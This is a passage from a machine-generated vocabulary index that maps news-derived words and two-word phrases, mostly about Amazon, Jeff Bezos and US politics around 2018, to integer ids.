\"parsec financial\": 115914,\n  \"husband george\": 115915,\n  \"finance morning\": 115916,\n  \"unease\": 115917,\n  \"word post\": 115918,\n  \"pathology predates\": 115919,\n  \"attack played\": 115920,\n  \"transportation committee\": 115921,\n  \"updated hourly\": 115922,\n  \"reports stone\": 115923,\n  \"places recently\": 115924,\n  \"america afp\": 115925,\n  \"judge mueller\": 115926,\n  \"negotiating tools\": 115927,\n  \"damage president\": 115928,\n  \"employees engaging\": 115929,\n  \"family homeless\": 115930,\n  \"past\": 115931,\n  \"homes right\": 115932,\n  \"services raise\": 115933,\n  \"super mario\": 115934,\n  \"jeff retaliated\": 115935,\n  \"refugees new\": 115936,\n  \"majestic\": 115937,\n  \"reps ilhan\": 115938,\n  \"focused super\": 115939,\n  \"core multicarrier\": 115940,\n  \"hicks\": 115941,\n  \"700 000\": 115942,\n  \"captivated washington\": 115943,\n  \"opportunity amazon\": 115944,\n  \"engaged tommy\": 115945,\n  \"senator interview\": 115946,\n  \"told members\": 115947,\n  \"developing tagsamazon\": 115948,\n  \"outright thievery\": 115949,\n  \"militants\": 115950,\n  \"unidentified official\": 115951,\n  \"lakesha dortch\": 115952,\n  \"tech magnate\": 115953,\n  \"alexandriaocasio\": 115954,\n  \"combatting political\": 115955,\n  \"sees bolsonaro\": 115956,\n  \"planes mcbride\": 115957,\n  \"landscape\": 115958,\n  \"attenuated varicella\": 115959,\n  \"members matt\": 115960,\n  \"members alike\": 115961,\n  \"called corporate\": 115962,\n  \"students finds\": 115963,\n  \"small hut\": 115964,\n  \"policy proposals\": 115965,\n  \"long understood\": 115966,\n  \"brand loved\": 115967,\n  \"dutifully\": 115968,\n  \"reported policy\": 115969,\n  \"character origins\": 115970,\n  \"math music\": 115971,\n  \"cabinet officials\": 115972,\n  \"greene yeah\": 115973,\n  \"details\": 115974,\n  \"observations\": 115975,\n  \"rapid expansion\": 115976,\n  \"prices dropped\": 115977,\n  \"trump reads\": 115978,\n  \"chum\": 115979,\n  \"toronto welcome\": 115980,\n  \"northbound traffic\": 115981,\n  \"violence cbs\": 115982,\n  \"commonweal darla\": 115983,\n  \"comments startribune\": 115984,\n  \"comments piled\": 115985,\n  \"chronic pain\": 115986,\n  \"unemployment flat\": 115987,\n  \"deal costing\": 115988,\n  \"emails posted\": 115989,\n  \"approve compromise\": 115990,\n  \"suzan\": 115991,\n  \"heavy promotion\": 115992,\n  \"business provided\": 115993,\n  \"shares means\": 115994,\n  \"inequality\": 115995,\n  \"doesn mention\": 115996,\n  \"computer manufacturers\": 115997,\n  \"employment council\": 115998,\n  \"space vacations\": 115999,\n  \"hard red\": 116000,\n  \"trekking\": 116001,\n  \"rigor\": 116002,\n  \"quietly focus\": 116003,\n  \"hangar\": 116004,\n  \"bully puppet\": 116005,\n  \"public source\": 116006,\n  \"person pledge\": 116007,\n  \"buckner\": 116008,\n  \"shares amzn\": 116009,\n  \"motives\": 116010,\n  \"varying degrees\": 116011,\n  \"seemingly referring\": 116012,\n  \"antitrust accusations\": 116013,\n  \"coming close\": 116014,\n  \"carrie schwab\": 116015,\n  \"growing relationship\": 116016,\n  \"hq florida\": 116017,\n  \"acquires\": 116018,\n  \"mistress\": 116019,\n  \"ambitions seriously\": 116020,\n  \"alongside population\": 116021,\n  \"news tucker\": 116022,\n  \"davie spent\": 116023,\n  \"weakened amazon\": 116024,\n  \"disability accommodation\": 116025,\n  \"fear coursing\": 116026,\n  \"ubs analyst\": 116027,\n  \"services president\": 116028,\n  \"successful effort\": 116029,\n  \"outpost\": 116030,\n  \"wholesaling\": 116031,\n  \"fact saving\": 116032,\n  \"entry kavitha\": 116033,\n  \"cigna says\": 116034,\n  \"turn record\": 116035,\n  \"infested pond\": 116036,\n  \"corporate activists\": 116037,\n  \"quotes sanchez\": 116038,\n  \"president assertion\": 116039,\n  \"academies\": 116040,\n  \"incremental expenses\": 116041,\n  \"approving\": 116042,\n  \"session courtney\": 116043,\n  \"dispel sense\": 116044,\n  \"rachel maddow\": 116045,\n  \"nuke\": 116046,\n  \"president bashed\": 116047,\n  \"calls fed\": 116048,\n  \"challenge nbc\": 116049,\n  \"higher profits\": 116050,\n  \"latest poll\": 116051,\n  \"rosenstein stepping\": 116052,\n  \"legitimate basis\": 116053,\n  \"hiring gop\": 116054,\n  \"employees blackmailing\": 116055,\n  \"sisters brothers\": 116056,\n  \"politics book\": 116057,\n  \"ongoing saga\": 116058,\n  \"bubble trouble\": 116059,\n  \"new turing\": 116060,\n  \"zone designated\": 116061,\n  \"nevada senate\": 116062,\n  \"establishing facebook\": 116063,\n  \"felling information\": 116064,\n  \"unionize\": 116065,\n  \"second trillion\": 116066,\n  \"weight new\": 116067,\n  \"reduces high\": 116068,\n  \"big draw\": 116069,\n  \"owns translating\": 116070,\n  \"000 good\": 116071,\n  \"family charity\": 116072,\n  \"thinking fred\": 116073,\n  \"conditions usps\": 116074,\n  \"grows luckin\": 116075,\n  \"price according\": 116076,\n  \"mayor fully\": 116077,\n  \"backed efforts\": 116078,\n  \"countries expanding\": 116079,\n  \"trade terms\": 116080,\n  \"donate land\": 116081,\n  \"receive health\": 116082,\n  \"russians used\": 116083,\n  \"foto sourcebluefly\": 116084,\n  \"huge escalation\": 116085,\n  \"riches bupkis\": 116086,\n  \"young woman\": 116087,\n  \"rss feed\": 116088,\n  \"decry\": 116089,\n  \"months drafting\": 116090,\n  \"half witch\": 116091,\n  \"157\": 116092,\n  \"hubbard published\": 116093,\n  \"president expense\": 116094,\n  \"thecity\": 116095,\n  \"promising specific\": 116096,\n  \"ideas proven\": 116097,\n  \"friendly pirro\": 116098,\n  \"provide additional\": 116099,\n  \"tax caused\": 116100,\n  \"leak aimed\": 116101,\n  \"winning journalist\": 116102,\n  \"campaign bravado\": 116103,\n  \"level make\": 116104,\n  \"trump set\": 116105,\n  \"scott trust\": 116106,\n  \"virginian\": 116107,\n  \"doing plenty\": 116108,\n  \"outcome trump\": 116109,\n  \"nov 2016\": 116110,\n  \"diabetes cookbook\": 116111,\n  \"key state\": 116112,\n  \"sprung\": 116113,\n  \"businesses click\": 116114,\n  \"boots maker\": 116115,\n  \"kino international\": 116116,\n  \"requirements\": 116117,\n  \"systems count\": 116118,\n  \"ofhis allies\": 116119,\n  \"daily dot\": 116120,\n  \"market dominant\": 116121,\n  \"perverse way\": 116122,\n  \"sketch saying\": 116123,\n  \"kit company\": 116124,\n  \"obama defense\": 116125,\n  \"largest deal\": 116126,\n  \"children agency\": 116127,\n  \"seasonal spirit\": 116128,\n  \"political shift\": 116129,\n  \"silent guessing\": 116130,\n  \"length 39572\": 116131,\n  \"aclu called\": 116132,\n  \"including commerce\": 116133,\n  \"winter olympic\": 116134,\n  \"getting billion\": 116135,\n  \"lost boys\": 116136,\n  \"tweet sent\": 116137,\n  \"ben\": 116138,\n  \"amazon typical\": 116139,\n  \"marketplace grocery\": 116140,\n  \"alterations\": 116141,\n  \"cutting emissions\": 116142,\n  \"expansion barclays\": 116143,\n  \"performance particularly\": 116144,\n  \"football pitches\": 116145,\n  \"fedex super\": 116146,\n  \"millennial socialist\": 116147,\n  \"uranium resources\": 116148,\n  \"hbr org\": 116149,\n  \"planning live\": 116150,\n  \"delivery efforts\": 116151,\n  \"shame diversity\": 116152,\n  \"sisyphean task\": 116153,\n  \"j8i t8\": 116154,\n  \"union sues\": 116155,\n  \"storm blaming\": 116156,\n  \"newsletters signup\": 116157,\n  \"hypersonic interceptors\": 116158,\n  \"residents say\": 116159,\n  \"defense distributed\": 116160,\n  \"putatively\": 116161,\n  \"hostility dates\": 116162,\n  \"getlibraryname\": 116163,\n  \"bluecross\": 116164,\n  \"danske\": 116165,\n  \"aws web\": 116166,\n  \"rooms making\": 116167,\n  \"picked products\": 116168,\n  \"boxed\": 116169,\n  \"bannon social\": 116170,\n  \"meditation\": 116171,\n  \"hulu happy\": 116172,\n  \"exchange\": 116173,\n  \"intense political\": 116174,\n  \"ami recently\": 116175,\n  \"catalogs\": 116176,\n  \"article_inline\": 116177,\n  \"jailing\": 116178,\n  \"overhaul\": 116179,\n  \"ubhi ties\": 116180,\n  \"japans nikkei\": 116181,\n  \"suzanne eovaldli\": 116182,\n  \"great relationships\": 116183,\n  \"says myanmar\": 116184,\n  \"bezos moving\": 116185,\n  \"boost lending\": 116186,\n  \"failed facebook\": 116187,\n  \"naturalmedicine news\": 116188,\n  \"premiering\": 116189,\n  \"fulfillment capabilities\": 116190,\n  \"great vehicle\": 116191,\n  \"weekly podcast\": 116192,\n  \"bloomberg bernard\": 116193,\n  \"safety immigration\": 116194,\n  \"kerala floods\": 116195,\n  \"quarter according\": 116196,\n  \"amazon pares\": 116197,\n  \"management solutions\": 116198,\n  \"wage structure\": 116199,\n  \"counterfeit good\": 116200,\n  \"war iii\": 116201,\n  \"known donations\": 116202,\n  \"goliath\": 116203,\n  \"childish sobriquet\": 116204,\n  \"author did\": 116205,\n  \"cycle going\": 116206,\n  \"nation population\": 116207,\n  \"hearing cristina\": 116208,\n  \"sunlen ivanka\": 116209,\n  \"monitoring organization\": 116210,\n  \"diseases including\": 116211,\n  \"documents include\": 116212,\n  \"satan worshipers\": 116213,\n  \"dominated headlines\": 116214,\n  \"bygone\": 116215,\n  \"inspire\": 116216,\n  \"vocally support\": 116217,\n  \"actual wars\": 116218,\n  \"juliette\": 116219,\n  \"technologically\": 116220,\n  \"attempt\": 116221,\n  \"contractor investment\": 116222,\n  \"small amazon\": 116223,\n  \"rtx 2080\": 116224,\n  \"cloud\": 116225,\n  \"tariffs start\": 116226,\n  \"provides useful\": 116227,\n  \"blogging royal\": 116228,\n  \"politics including\": 116229,\n  \"howard read\": 116230,\n  \"2018 chris\": 116231,\n  \"calls according\": 116232,\n  \"group morning\": 116233,\n  \"birthweek\": 116234,\n  \"documented inflammatory\": 116235,\n  \"soul save\": 116236,\n  \"business little\": 116237,\n  \"targets nbc\": 116238,\n  \"aggressively pricing\": 116239,\n  \"times soon\": 116240,\n  \"ford met\": 116241,\n  \"inc_activeflag\": 116242,\n  \"facebook knew\": 116243,\n  \"sorted\": 116244,\n  \"threatens democracy\": 116245,\n  \"tr ivw\": 116246,\n  \"remarkable post\": 116247,\n  \"house briefing\": 116248,\n  \"ice isn\": 116249,\n  \"potatoes\": 116250,\n  \"expand drilling\": 116251,\n  \"trust claims\": 116252,\n  \"normous\": 116253,\n  \"fright fest\": 116254,\n  \"join lawsuit\": 116255,\n  \"search activity\": 116256,\n  \"readmoretext_aut\": 116257,\n  \"upwards\": 116258,\n  \"ami insisted\": 116259,\n  \"accelerate innovation\": 116260,\n  \"paper ocasio\": 116261,\n  \"wegmann yes\": 116262,\n  \"does everybody\": 116263,\n  \"wall reuters\": 116264,\n  \"fanned\": 116265,\n  \"educating members\": 116266,\n  \"author andr\\u00e9s\": 116267,\n  \"populated urban\": 116268,\n  \"ac kth\": 116269,\n  \"expansion invites\": 116270,\n  \"delivering cargo\": 116271,\n  \"regulatory sandboxes\": 116272,\n  \"boorstin key\": 116273,\n  \"staff writing\": 116274,\n  \"thanks selyukh\": 116275,\n  \"intu\": 116276,\n  \"illegal payments\": 116277,\n  \"expenses deeply\": 116278,\n  \"office later\": 116279,\n  \"internet 2018\": 116280,\n  \"subject bread\": 116281,\n  \"force told\": 116282,\n  \"advertising practices\": 116283,\n  \"legislation authored\": 116284,\n  \"update amazon\": 116285,\n  \"services growth\": 116286,\n  \"marketing facial\": 116287,\n  \"dovetailed\": 116288,\n  \"undercover expos\\u00e9\": 116289,\n  \"response sen\": 116290,\n  \"outlets included\": 116291,\n  \"change consumers\": 116292,\n  \"trump publicly\": 116293,\n  \"facebook business\": 116294,\n  \"unusual subject\": 116295,\n  \"jpmorgan chase\": 116296,\n  \"pull troops\": 116297,\n  \"prompting west\": 116298,\n  \"hindu newspaper\": 116299,\n  \"green amazon\": 116300,\n  \"photos people\": 116301,\n  \"pac govpredict\": 116302,\n  \"denying coverage\": 116303,\n  \"pay extra\": 116304,\n  \"counterfeiters\": 116305,\n  \"axe source\": 116306,\n  \"pretty bi\": 116307,\n  \"ny times\": 116308,\n  \"bishop\": 116309,\n  \"crowned\": 116310,\n  \"l4 function\": 116311,\n  \"author says\": 116312,\n  \"door mary\": 116313,\n  \"originating\": 116314,\n  \"2016 book\": 116315,\n  \"barrack\": 116316,\n  \"zinke concealed\": 116317,\n  \"inheritance\": 116318,\n  \"delong glenn\": 116319,\n  \"proposals called\": 116320,\n  \"week second\": 116321,\n  \"especially tariffs\": 116322,\n  \"knows ami\": 116323,\n  \"impacts jenn\": 116324,\n  \"document title\": 116325,\n  \"bhattarai washpost\": 116326,\n  \"active shooter\": 116327,\n  \"report usps\": 116328,\n  \"money report\": 116329,\n  \"crosshairs hated\": 116330,\n  \"psychiatric\": 116331,\n  \"told amy\": 116332,\n  \"solidify\": 116333,\n  \"fortune evenly\": 116334,\n  \"advocate grammy\": 116335,\n  \"null inc_feature_image_override_position\": 116336,\n  \"overtly\": 116337,\n  \"a4ee w8\": 116338,\n  \"provide money\": 116339,\n  \"tech darling\": 116340,\n  \"recessionary\": 116341,\n  \"restoring traditional\": 116342,\n  \"people shopped\": 116343,\n  \"drake degrassi\": 116344,\n  \"fact rep\": 116345,\n  \"staged\": 116346,\n  \"maker value\": 116347,\n  \"accent think\": 116348,\n  \"news seth\": 116349,\n  \"consider heading\": 116350,\n  \"apart soon\": 116351,\n  \"definitely skewed\": 116352,\n  \"various members\": 116353,\n  \"holmgren lanzatech\": 116354,\n  \"posting video\": 116355,\n  \"south america\": 116356,\n  \"twitter nahmias\": 116357,\n  \"money euro\": 116358,\n  \"cloud formation\": 116359,\n  \"unresponsive bezos\": 116360,\n  \"constantly updating\": 116361,\n  \"ght\": 116362,\n  \"chief president\": 116363,\n  \"bezos thanked\": 116364,\n  \"immoral way\": 116365,\n  \"sacrifice child\": 116366,\n  \"jeff havlin\": 116367,\n  \"jedi according\": 116368,\n  \"candidate says\": 116369,\n  \"ma gov\": 116370,\n  \"inspirational memoir\": 116371,\n  \"maga psc\": 116372,\n  \"contact editor\": 116373,\n  \"cos\": 116374,\n  \"billionaire marriage\": 116375,\n  \"machines amazon\": 116376,\n  \"reportedly employed\": 116377,\n  \"expensive\": 116378,\n  \"believes fervently\": 116379,\n  \"remain unclear\": 116380,\n  \"thicker waisted\": 116381,\n  \"statement data\": 116382,\n  \"thanking whoopi\": 116383,\n  \"associates suddenly\": 116384,\n  \"ms s\\u00e1nchez\": 116385,\n  \"rebuild\": 116386,\n  \"earnings 2018\": 116387,\n  \"emergency services\": 116388,\n  \"colbert noted\": 116389,\n  \"puzzle\": 116390,\n  \"plus join\": 116391,\n  \"het aldi\": 116392,\n  \"took pass\": 116393,\n  \"railroads charged\": 116394,\n  \"incrementalism\": 116395,\n  \"workers collect\": 116396,\n  \"deal critics\": 116397,\n  \"didier\": 116398,\n  \"devastated dozens\": 116399,\n  \"stresses consumer\": 116400,\n  \"fake copies\": 116401,\n  \"fact proving\": 116402,\n  \"reward friends\": 116403,\n  \"programme amazon\": 116404,\n  \"gop speakerryan\": 116405,\n  \"recount mania\": 116406,\n  \"eve amazon\": 116407,\n  \"entrepreneur aleksej\": 116408,\n  \"people pre\": 116409,\n  \"consummate independent\": 116410,\n  \"believe key\": 116411,\n  \"washington forum\": 116412,\n  \"political scrutiny\": 116413,\n  \"surfacing\": 116414,\n  \"current massive\": 116415,\n  \"adopting various\": 116416,\n  \"global team\": 116417,\n  \"develop plan\": 116418,\n  \"cooper kth\": 116419,\n  \"tweeted thank\": 116420,\n  \"new trade\": 116421,\n  \"raven haired\": 116422,\n  \"products ivanka\": 116423,\n  \"heart warming\": 116424,\n  \"treating things\": 116425,\n  \"uncommonly bipartisan\": 116426,\n  \"ossenbeck pointed\": 116427,\n  \"parkhomenko\": 116428,\n  \"time away\": 116429,\n  \"sharpton event\": 116430,\n  \"undue financial\": 116431,\n  \"pricing practice\": 116432,\n  \"ultimate metaphor\": 116433,\n  \"eve\": 116434,\n  \"firestorm\": 116435,\n  \"quickly source\": 116436,\n  \"managers stocks\": 116437,\n  \"165 point\": 116438,\n  \"years data\": 116439,\n  \"photos video\": 116440,\n  \"boiled fish\": 116441,\n  \"work inspired\": 116442,\n  \"label sales\": 116443,\n  \"parts\": 116444,\n  \"introduces\": 116445,\n  \"recently tapped\": 116446,\n  \"departments disney\": 116447,\n  \"arends 415\": 116448,\n  \"just committed\": 116449,\n  \"tasos\": 116450,\n  \"illegal good\": 116451,\n  \"highly regulated\": 116452,\n  \"500\": 116453,\n  \"natural ingredients\": 116454,\n  \"amazon shippers\": 116455,\n  \"slipped\": 116456,\n  \"sold software\": 116457,\n  \"dubuque financial\": 116458,\n  \"month facebook\": 116459,\n  \"american die\": 116460,\n  \"people mccabeis\": 116461,\n  \"memorandum requests\": 116462,\n  \"navy blue\": 116463,\n  \"faulders\": 116464,\n  \"began advocating\": 116465,\n  \"services uber\": 116466,\n  \"67777125 cms\": 116467,\n  \"defeated\": 116468,\n  \"rolandsmartin rolandsmartin\": 116469,\n  \"lover lauren\": 116470,\n  \"spokesman told\": 116471,\n  \"proposal includes\": 116472,\n  \"ibm xom\": 116473,\n  \"meme costumes\": 116474,\n  \"starred\": 116475,\n  \"132 billion\": 116476,\n  \"analyst cited\": 116477,\n  \"reviewer calling\": 116478,\n  \"subsequent yr\": 116479,\n  \"bomb packages\": 116480,\n  \"making billion\": 116481,\n  \"act 615\": 116482,\n  \"mortgage program\": 116483,\n  \"including renewed\": 116484,\n  \"surprise warning\": 116485,\n  \"thriving economy\": 116486,\n  \"investigator recently\": 116487,\n  \"political weapon\": 116488,\n  \"utility\": 116489,\n  \"bolsonaro threatened\": 116490,\n  \"secured second\": 116491,\n  \"capital costs\": 116492,\n  \"ad profits\": 116493,\n  \"allegorical piece\": 116494,\n  \"2007 earnings\": 116495,\n  \"employed 382\": 116496,\n  \"consumer packed\": 116497,\n  \"quite frankly\": 116498,\n  \"occuring\": 116499,\n  \"individual taxpayers\": 116500,\n  \"jordan contract\": 116501,\n  \"illuminates different\": 116502,\n  \"divide runs\": 116503,\n  \"paying washington\": 116504,\n  \"acting pentagon\": 116505,\n  \"growing retailers\": 116506,\n  \"production milestone\": 116507,\n  \"volatile stock\": 116508,\n  \"campaign conspired\": 116509,\n  \"kane\": 116510,\n  \"library hulu\": 116511,\n  \"presidential discourse\": 116512,\n  \"publishing\": 116513,\n  \"chat online\": 116514,\n  \"biggest days\": 116515,\n  \"subject jeff\": 116516,\n  \"252\": 116517,\n  \"va following\": 116518,\n  \"trustee\": 116519,\n  \"cathy merrill\": 116520,\n  \"warning people\": 116521,\n  \"train americans\": 116522,\n  \"entirely silly\": 116523,\n  \"biz\": 116524,\n  \"downsides compare\": 116525,\n  \"pushed amazon\": 116526,\n  \"just sent\": 116527,\n  \"rich anymore\": 116528,\n  \"prime books\": 116529,\n  \"kcrw\": 116530,\n  \"west metro\": 116531,\n  \"growing opportunity\": 116532,\n  \"bloomberg close\": 116533,\n  \"slowdowns\": 116534,\n  \"hailed\": 116535,\n  \"renewed risk\": 116536,\n  \"slowing smartphone\": 116537,\n  \"kirby recently\": 116538,\n  \"remote streaming\": 116539,\n  \"persist don\": 116540,\n  \"joe robach\": 116541,\n  \"adult coloring\": 116542,\n  \"fan conspiracy\": 116543,\n  \"comments louisiana\": 116544,\n  \"mabromata\": 116545,\n  \"intolerance\": 116546,\n  \"usps package\": 116547,\n  \"hadn looked\": 116548,\n  \"inject doubt\": 116549,\n  \"spirituality\": 116550,\n  \"wasn exactly\": 116551,\n  \"westbrook\": 116552,\n  \"dollar blow\": 116553,\n  \"conspiracy tirades\": 116554,\n  \"stridently pro\": 116555,\n  \"messages julie\": 116556,\n  \"president personal\": 116557,\n  \"crooked\": 116558,\n  \"resist trump\": 116559,\n  \"machine punctured\": 116560,\n  \"senator says\": 116561,\n  \"wealth tops\": 116562,\n  \"data centers\": 116563,\n  \"btt atob\": 116564,\n  \"beast stone\": 116565,\n  \"nn null\": 116566,\n  \"trending hashtag\": 116567,\n  \"status today\": 116568,\n  \"quiet week\": 116569,\n  \"schooled amazon\": 116570,\n  \"pinpoint timing\": 116571,\n  \"shira ovide\": 116572,\n  \"compared google\": 116573,\n  \"video interview\": 116574,\n  \"public access\": 116575,\n  \"political adversary\": 116576,\n  \"810 words\": 116577,\n  \"help offset\": 116578,\n  \"important counter\": 116579,\n  \"breaks read\": 116580,\n  \"appropriate changes\": 116581,\n  \"competitor trump\": 116582,\n  \"satisfactory conclusion\": 116583,\n  \"include judge\": 116584,\n  \"unsafe parts\": 116585,\n  \"looting society\": 116586,\n  \"trump sat\": 116587,\n  \"brooklyn dropped\": 116588,\n  \"colloidal silver\": 116589,\n  \"errol louis\": 116590,\n  \"students reach\": 116591,\n  \"cities person\": 116592,\n  \"disclose closely\": 116593,\n  \"endeavour\": 116594,\n  \"discounts aplenty\": 116595,\n  \"metahelm skykick\": 116596,\n  \"pompeo policy\": 116597,\n  \"biggest gain\": 116598,\n  \"wreaking\": 116599,\n  \"hold position\": 116600,\n  \"boot entitled\": 116601,\n  \"growth company\": 116602,\n  \"1977 donald\": 116603,\n  \"unmatched republican\": 116604,\n  \"entrepreneur running\": 116605,\n  \"companies shipping\": 116606,\n  \"secured fundraising\": 116607,\n  \"included editorial\": 116608,\n  \"new addition\": 116609,\n  \"protecting kids\": 116610,\n  \"fat idiq\": 116611,\n  \"giant collusion\": 116612,\n  \"government employee\": 116613,\n  \"turned investigative\": 116614,\n  \"bloodbath\": 116615,\n  \"india launch\": 116616,\n  \"1021370601863294977\": 116617,\n  \"don moisturize\": 116618,\n  \"new beast\": 116619,\n  \"french publisher\": 116620,\n  \"incredible unstoppable\": 116621,\n  \"publicised revival\": 116622,\n  \"pretty quiet\": 116623,\n  \"diner\": 116624,\n  \"modern economy\": 116625,\n  \"intercepts president\": 116626,\n  \"withdrawal report\": 116627,\n  \"walker sands\": 116628,\n  \"tomorrow big\": 116629,\n  \"science youtube\": 116630,\n  \"alleged attempt\": 116631,\n  \"amazon prying\": 116632,\n  \"entirely false\": 116633,\n  \"8211\": 116634,\n  \"presidential intervention\": 116635,\n  \"2018 johnston\": 116636,\n  \"rise oprah\": 116637,\n  \"notorious\": 116638,\n  \"vice sandra\": 116639,\n  \"tigers\": 116640,\n  \"offer rival\": 116641,\n  \"cio chief\": 116642,\n  \"herefor\": 116643,\n  \"meaningfully reassure\": 116644,\n  \"mark allege\": 116645,\n  \"bieber modi\": 116646,\n  \"stricter prudential\": 116647,\n  \"gmv\": 116648,\n  \"commerce push\": 116649,\n  \"boyd told\": 116650,\n  \"administration officers\": 116651,\n  \"inspired senator\": 116652,\n  \"floor\": 116653,\n  \"defeat\": 116654,\n  \"000 tariff\": 116655,\n  \"barbara pariente\": 116656,\n  \"trump turbulent\": 116657,\n  \"proves\": 116658,\n  \"usa sad\": 116659,\n  \"pursued defense\": 116660,\n  \"soundbite\": 116661,\n  \"act earlier\": 116662,\n  \"intersection hours\": 116663,\n  \"operators dave\": 116664,\n  \"republicans votes\": 116665,\n  \"reach business\": 116666,\n  \"sweeping\": 116667,\n  \"growing faster\": 116668,\n  \"just look\": 116669,\n  \"matter donald\": 116670,\n  \"000 workers\": 116671,\n  \"rt uksmallbizrt\": 116672,\n  \"westjet deal\": 116673,\n  \"beholder president\": 116674,\n  \"dusts new\": 116675,\n  \"problematic sites\": 116676,\n  \"company named\": 116677,\n  \"uncle donny\": 116678,\n  \"media plan\": 116679,\n  \"micro virtual\": 116680,\n  \"flynn airs\": 116681,\n  \"fold unsafe\": 116682,\n  \"frank pasquale\": 116683,\n  \"nyt writes\": 116684,\n  \"herdener told\": 116685,\n  \"amazon hired\": 116686,\n  \"democracy paraphrasing\": 116687,\n  \"amazon vendetta\": 116688,\n  \"start selling\": 116689,\n  \"big umbrella\": 116690,\n  \"streaming platforms\": 116691,\n  \"new projections\": 116692,\n  \"trump targeted\": 116693,\n  \"replace uber\": 116694,\n  \"trope\": 116695,\n  \"sears liquidation\": 116696,\n  \"mnuchin says\": 116697,\n  \"year pausing\": 116698,\n  \"approval copyright\": 116699,\n  \"abby phillip\": 116700,\n  \"tech titan\": 116701,\n  \"border elections\": 116702,\n  \"deserving individuals\": 116703,\n  \"including ordering\": 116704,\n  \"favourite stupid\": 116705,\n  \"multicarrier properties\": 116706,\n  \"burgeoning delivery\": 116707,\n  \"homogenized\": 116708,\n  \"115 pounds\": 116709,\n  \"gaines founder\": 116710,\n  \"giant announced\": 116711,\n  \"netflix missed\": 116712,\n  \"playing recording\": 116713,\n  \"tammy\": 116714,\n  \"kwame\": 116715,\n  \"hollywood image\": 116716,\n  \"type a7\": 116717,\n  \"hour sale\": 116718,\n  \"profit margins\": 116719,\n  \"publicly told\": 116720,\n  \"service reforms\": 116721,\n  \"capital interviews\": 116722,\n  \"dies merely\": 116723,\n  \"raised money\": 116724,\n  \"2002\": 116725,\n  \"rampaging\": 116726,\n  \"popular videogames\": 116727,\n  \"deal itselfit\": 116728,\n  \"duty payments\": 116729,\n  \"feinstein blow\": 116730,\n  \"markets trading\": 116731,\n  \"alleged antitrust\": 116732,\n  \"gag order\": 116733,\n  \"habits instead\": 116734,\n  \"buffett according\": 116735,\n  \"mcgowan sessions\": 116736,\n  \"weather linked\": 116737,\n  \"company cut\": 116738,\n  \"garofalo\": 116739,\n  \"current employees\": 116740,\n  \"bannon saying\": 116741,\n  \"congress oversight\": 116742,\n  \"continue president\": 116743,\n  \"investment guru\": 116744,\n  \"called camp\": 116745,\n  \"bezos record\": 116746,\n  \"retailer dominance\": 116747,\n  \"cuts michael\": 116748,\n  \"big cloud\": 116749,\n  \"wrapping amazon\": 116750,\n  \"mashable pbs\": 116751,\n  \"excelsior\": 116752,\n  \"downtown building\": 116753,\n  \"robbers\": 116754,\n  \"people cattle\": 116755,\n  \"g7 joint\": 116756,\n  \"tokyo 20874\": 116757,\n  \"fund qualified\": 116758,\n  \"book hasn\": 116759,\n  \"communitybut\": 116760,\n  \"detroit big\": 116761,\n  \"post analysis\": 116762,\n  \"professional advocates\": 116763,\n  \"episode serves\": 116764,\n  \"swap stories\": 116765,\n  \"socialism medicare\": 116766,\n  \"toddlers running\": 116767,\n  \"business relationship\": 116768,\n  \"ruining money\": 116769,\n  \"mixed fortunes\": 116770,\n  \"injected\": 116771,\n  \"community nad\": 116772,\n  \"silver springs\": 116773,\n  \"investors tend\": 116774,\n  \"took control\": 116775,\n  \"post market\": 116776,\n  \"tl\": 116777,\n  \"ami emanu\": 116778,\n  \"ta a4ee\": 116779,\n  \"companies approved\": 116780,\n  \"usatoda rt\": 116781,\n  \"tech leaders\": 116782,\n  \"photographer bess\": 116783,\n  \"offer specific\": 116784,\n  \"kavanaugh scandal\": 116785,\n  \"undercover\": 116786,\n  \"organization member\": 116787,\n  \"man close\": 116788,\n  \"stock recently\": 116789,\n  \"delegation reacted\": 116790,\n  \"twisted twitter\": 116791,\n  \"cold paterson\": 116792,\n  \"storefronts\": 116793,\n  \"msnbc rtamericanews\": 116794,\n  \"hit 470\": 116795,\n  \"jersey apartment\": 116796,\n  \"jtalton seattletimes\": 116797,\n  \"did recently\": 116798,\n  \"divvied\": 116799,\n  \"winners 2018\": 116800,\n  \"forecasting future\": 116801,\n  \"extra discounts\": 116802,\n  \"conspiracy simply\": 116803,\n  \"brilliance\": 116804,\n  \"technology globalization\": 116805,\n  \"fringe subsidiary\": 116806,\n  \"disturbed\": 116807,\n  \"beats abound\": 116808,\n  \"ofthe company\": 116809,\n  \"yeltsin\": 116810,\n  \"don yes\": 116811,\n  \"older doctrine\": 116812,\n  \"motivation druckenmiller\": 116813,\n  \"oil monarchies\": 116814,\n  \"american city\": 116815,\n  \"post steep\": 116816,\n  \"community advisor\": 116817,\n  \"sessions confer\": 116818,\n  \"microsoft msft\": 116819,\n  \"trump damages\": 116820,\n  \"leader michael\": 116821,\n  \"workers particularly\": 116822,\n  \"sad true\": 116823,\n  \"shooting video\": 116824,\n  \"laws fairly\": 116825,\n  \"dealer inner\": 116826,\n  \"little room\": 116827,\n  \"intimate moments\": 116828,\n  \"leadership senior\": 116829,\n  \"haverty rick\": 116830,\n  \"released album\": 116831,\n  \"reach 1tn\": 116832,\n  \"trump installed\": 116833,\n  \"gained notoriety\": 116834,\n  \"cnn usa\": 116835,\n  \"promising arrangement\": 116836,\n  \"election editor\": 116837,\n  \"completely opposed\": 116838,\n  \"bond villain\": 116839,\n  \"aka naz\": 116840,\n  \"largest commercial\": 116841,\n  \"hulu\": 116842,\n  \"measures passed\": 116843,\n  \"million renters\": 116844,\n  \"sells mar\": 116845,\n  \"story ceos\": 116846,\n  \"quiere arrebatar\": 116847,\n  \"world billion\": 116848,\n  \"alibaba efforts\": 116849,\n  \"chye ching\": 116850,\n  \"frum writes\": 116851,\n  \"eric\": 116852,\n  \"democratic surge\": 116853,\n  \"300 stores\": 116854,\n  \"hawker centre\": 116855,\n  \"digits wmur\": 116856,\n  \"maria shriver\": 116857,\n  \"punchlines dating\": 116858,\n  \"customer doorstep\": 116859,\n  \"asfouri\": 116860,\n  \"2012 paid\": 116861,\n  \"investigations conducted\": 116862,\n  \"years cowen\": 116863,\n  \"hosting amazon\": 116864,\n  \"canceled boeing\": 116865,\n  \"news site\": 116866,\n  \"little rejected\": 116867,\n  \"commission bundle\": 116868,\n  \"post pointed\": 116869,\n  \"community concerns\": 116870,\n  \"used data\": 116871,\n  \"quarter began\": 116872,\n  \"barely chose\": 116873,\n  \"section reporter\": 116874,\n  \"political activity\": 116875,\n  \"civilization\": 116876,\n  \"flawed valuable\": 116877,\n  \"fmr\": 116878,\n  \"add money\": 116879,\n  \"update adds\": 116880,\n  \"channels included\": 116881,\n  \"predicted cost\": 